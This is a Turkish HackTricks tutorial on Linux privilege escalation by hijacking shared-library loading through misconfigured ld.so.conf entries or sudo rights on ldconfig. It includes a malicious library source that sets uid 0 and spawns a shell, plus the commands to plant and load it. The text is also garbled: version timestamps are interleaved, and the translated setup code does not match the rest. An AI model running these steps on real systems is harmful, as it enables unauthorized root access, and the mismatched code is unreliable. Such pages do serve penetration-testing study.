2024-04-06 19:40:41 +00:00
# ld.so privesc exploit example
2022-04-28 16:01:33 +00:00
< details >
2024-04-06 19:40:41 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan kahraman olmak için< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Kı rmı zı Takı m Uzmanı )< / strong > < / a > < strong > öğrenin!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları :
2024-02-02 12:27:26 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na** ](https://github.com/sponsors/carlospolop ) göz atı n!
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
* [**PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
2024-04-06 19:40:41 +00:00
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) **katı lı n** veya **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**'ı takip edin**.
2024-02-10 18:14:16 +00:00
* **Hacking hilelerinizi** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na **PR göndererek paylaşı n** .
2022-04-28 16:01:33 +00:00
< / details >
2024-02-10 18:14:16 +00:00
## Ortamı hazı rlayı n
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
Aşağı daki bölümde, ortamı hazı rlamak için kullanacağı mı z dosyaları n kodunu bulabilirsiniz
2020-08-27 13:29:43 +00:00
```c
#include <stdio.h>
#include "libcustom.h"
int main(){
2024-02-10 18:14:16 +00:00
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
2020-08-27 13:29:43 +00:00
}
```
2024-02-10 18:14:16 +00:00
Bu dosya, özel bir kütüphane olan libcustom'un başlı k dosyası dı r. Bu kütüphane, özel işlevler ve özellikler sağlamak için kullanı lı r.
2020-08-27 13:29:43 +00:00
```c
2024-02-10 18:14:16 +00:00
#ifndef LIBCUSTOM_H
#define LIBCUSTOM_H
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
// Özel işlevlerin prototipleri burada tanı mlanı r
void customFunction1();
void customFunction2();
// Özel yapı ları n tanı mları burada yer alı r
typedef struct {
int customField1;
char customField2[20];
} CustomStruct;
#endif
2020-08-27 13:29:43 +00:00
```
2024-02-10 18:14:16 +00:00
Bu başlı k dosyası , libcustom kütüphanesini kullanacak olan diğer programlar tarafı ndan dahil edilir. Bu sayede, libcustom'un sağladı ğı işlevler ve yapı lar kullanı labilir hale gelir.
```c
#include <stdio.h>
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
void vuln_func();
```
Bu örnek, bir özel kütüphanenin nası l yüklenip kullanı lacağı nı göstermektedir. Aşağı daki adı mları izleyerek bu örneği uygulayabilirsiniz:
1. Öncelikle, `libcustom.c` adı nda bir C dosyası oluşturun.
2. Ardı ndan, aşağı daki kodu `libcustom.c` dosyası na yapı ştı rı n:
2020-08-27 13:29:43 +00:00
```c
#include <stdio.h>
2024-02-10 18:14:16 +00:00
void custom_function() {
printf("This is a custom function\n");
2020-08-27 13:29:43 +00:00
}
```
2024-02-10 18:14:16 +00:00
3. Daha sonra, `libcustom.c` dosyası nı derlemek için aşağı daki komutu kullanı n:
```bash
gcc -shared -o libcustom.so libcustom.c
```
4. Bu komut, `libcustom.c` dosyası nı `libcustom.so` adı nda bir paylaşı lan nesne dosyası na derleyecektir.
5. Son olarak, `ld.so.conf` dosyası na aşağı daki satı rı ekleyin:
```
/usr/local/lib
```
Bu satı r, `/usr/local/lib` dizinini paylaşı lan kütüphane arama yoluna ekleyecektir.
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
6. Artı k `libcustom.so` dosyası nı `/usr/local/lib` dizinine taşı yabilirsiniz.
Bu adı mları tamamladı ktan sonra, `libcustom.so` dosyası nı kullanarak özel bir işlevi çağı rabilirsiniz.
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
```c
#include <stdio.h>
void vuln_func()
{
puts("Hi");
}
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
{% tabs %}
{% tab title="Bir örnek" %}
1. Bu dosyaları aynı klasöre **oluşturun**
2. **Kütüphaneyi derleyin** : `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. `libcustom.so` dosyası nı `/usr/lib` dizinine **kopyalayı n** : `sudo cp libcustom.so /usr/lib` (root yetkisi gerektirir)
4. **Yürütülebilir dosyayı derleyin** : `gcc sharedvuln.c -o sharedvuln -lcustom`
2020-08-27 13:29:43 +00:00
2024-04-06 19:40:41 +00:00
#### Ortamı kontrol edin
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
_libcustom.so_'nun _/usr/lib_ dizininden **yüklenip yüklenmediğini** ve ikili dosyayı **çalı ştı rabildiğinizi** kontrol edin.
{% endtab %}
{% endtabs %}
2024-04-06 19:40:41 +00:00
2021-10-18 11:21:18 +00:00
```
2020-08-27 13:29:43 +00:00
$ ldd sharedvuln
2024-02-10 18:14:16 +00:00
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
2020-08-27 13:29:43 +00:00
Welcome to my amazing application!
Hi
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
## Sı zma
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
Bu senaryoda, _/etc/ld.so.conf/_ içinde bir dosyada **birisi zafiyetli bir giriş oluşturduğunu varsayacağı z** :
2024-04-06 19:40:41 +00:00
2020-08-27 13:29:43 +00:00
```bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
Zararlı klasör _/home/ubuntu/lib_ (yazma erişimine sahip olduğumuz yer) içindedir.\
Aşağı daki kodu indirin ve o yolu içinde derleyin:
2024-04-06 19:40:41 +00:00
2020-08-27 13:29:43 +00:00
```c
//gcc -shared -o libcustom.so -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
2023-04-11 01:00:47 +00:00
void vuln_func(){
2024-02-10 18:14:16 +00:00
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
2020-08-27 13:29:43 +00:00
}
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
Şimdi, **hatalı yapı landı rı lmı ş** yolun içine **zararlı libcustom kütüphanesini oluşturduğumuza** göre, bir **yeniden başlatma** veya kök kullanı cı nı n ** `ldconfig` **'u çalı ştı rması nı beklememiz gerekiyor (_bu ikiliyi **sudo** olarak çalı ştı rabilir veya **suid bit** 'e sahipse kendiniz çalı ştı rabilirsiniz_).
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
Bu gerçekleştiğinde, `sharevuln` yürütülebilir dosyası nı n `libcustom.so` kütüphanesini nereden yüklediğini **yeniden kontrol edin** :
2024-04-06 19:40:41 +00:00
2020-08-27 13:29:43 +00:00
```c
$ldd sharedvuln
2024-02-10 18:14:16 +00:00
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
2020-08-27 13:29:43 +00:00
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
Gördüğünüz gibi, ** `/home/ubuntu/lib` 'den yükleniyor** ve herhangi bir kullanı cı tarafı ndan çalı ştı rı lı rsa bir kabuk çalı ştı rı lacak:
2024-04-06 19:40:41 +00:00
2020-08-27 13:29:43 +00:00
```c
2024-02-10 18:14:16 +00:00
$ ./sharedvuln
2020-08-27 13:29:43 +00:00
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu
```
2024-04-06 19:40:41 +00:00
2020-08-27 13:29:43 +00:00
{% hint style="info" %}
2024-02-10 18:14:16 +00:00
Bu örnekte ayrı calı kları yükseltmedik, ancak komutları değiştirerek ve **kök veya diğer ayrı calı klı kullanı cı nı n zafiyetli ikiliyi çalı ştı rması nı bekleyerek** ayrı calı kları yükseltebiliriz.
2020-08-27 13:29:43 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Diğer yanlı ş yapı landı rmalar - Aynı zafiyet
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
Önceki örnekte, bir yönetici ** `/etc/ld.so.conf.d/` içindeki bir yapı landı rma dosyası nda ayrı calı klı olmayan bir klasör ayarladı ğı mı zı taklit ettik**.\
Ancak, aynı zafiyeti oluşturabilecek diğer yanlı ş yapı landı rmalar da vardı r, eğer `/etc/ld.so.conf.d` klasörü içinde veya `/etc/ld.so.conf` dosyası nda bazı **yazma izinleriniz** varsa veya `/etc/ld.so.conf.d` içindeki **bir yapı landı rma dosyası nda** , aynı zafiyeti yapı landı rabilir ve sömürebilirsiniz.
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
## Sömürü 2
2020-08-27 13:29:43 +00:00
2024-02-10 18:14:16 +00:00
**`ldconfig` üzerinde sudo ayrı calı kları nı z olduğunu varsayalı m**.\
`ldconfig` 'a **hangi yapı landı rma dosyaları nı yükleyeceğini** belirtebilirsiniz, bu nedenle `ldconfig` 'un keyfi klasörleri yüklemesinden yararlanmak için "/tmp" klasörünü yüklemek için gerekli dosya ve klasörleri oluşturalı m:
2024-04-06 19:40:41 +00:00
2020-08-27 14:22:53 +00:00
```bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
Şimdi, **önceki saldı rı da** belirtildiği gibi, ** `/tmp` içinde zararlı bir kütüphane oluşturun**.\
Ve son olarak, yolu yükleyelim ve binary'nin kütüphaneyi nereden yüklediğini kontrol edelim:
2024-04-06 19:40:41 +00:00
2020-08-27 14:22:53 +00:00
```bash
ldconfig -f fake.ld.so.conf
ldd sharedvuln
2024-02-10 18:14:16 +00:00
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
2020-08-27 14:22:53 +00:00
```
2024-04-06 19:40:41 +00:00
2024-02-10 18:14:16 +00:00
**Görüldüğü gibi, `ldconfig` üzerinde sudo yetkilerine sahip olmak aynı zafiyeti sömürmenizi sağlar.**
2020-08-27 14:22:53 +00:00
{% hint style="info" %}
2024-02-10 18:14:16 +00:00
Eğer `ldconfig` suid bitiyle yapı landı rı lmı şsa, bu zafiyeti sömürmek için güvenilir bir yol bulamadı m. Aşağı daki hata görüntülenir: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`
2020-08-27 14:22:53 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
## Referanslar
2020-08-27 14:22:53 +00:00
* [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html ](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html )
* [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2 ](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2 )
2024-02-10 18:14:16 +00:00
* HTB'deki Dab makinesi
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 18:14:16 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan kahraman seviyesine öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları :
2024-02-02 12:27:26 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamı nı zı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI** ](https://github.com/sponsors/carlospolop ) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
* Özel [**NFT'lerden** ](https://opensea.io/collection/the-peass-family ) oluşan koleksiyonumuz [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )'i keşfedin
2024-04-06 19:40:41 +00:00
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) **katı lı n** veya bizi **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**'da takip edin.**
2024-02-10 18:14:16 +00:00
* **Hacking hilelerinizi** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github reposuna **PR göndererek** paylaşı n.
2022-04-28 16:01:33 +00:00
< / details >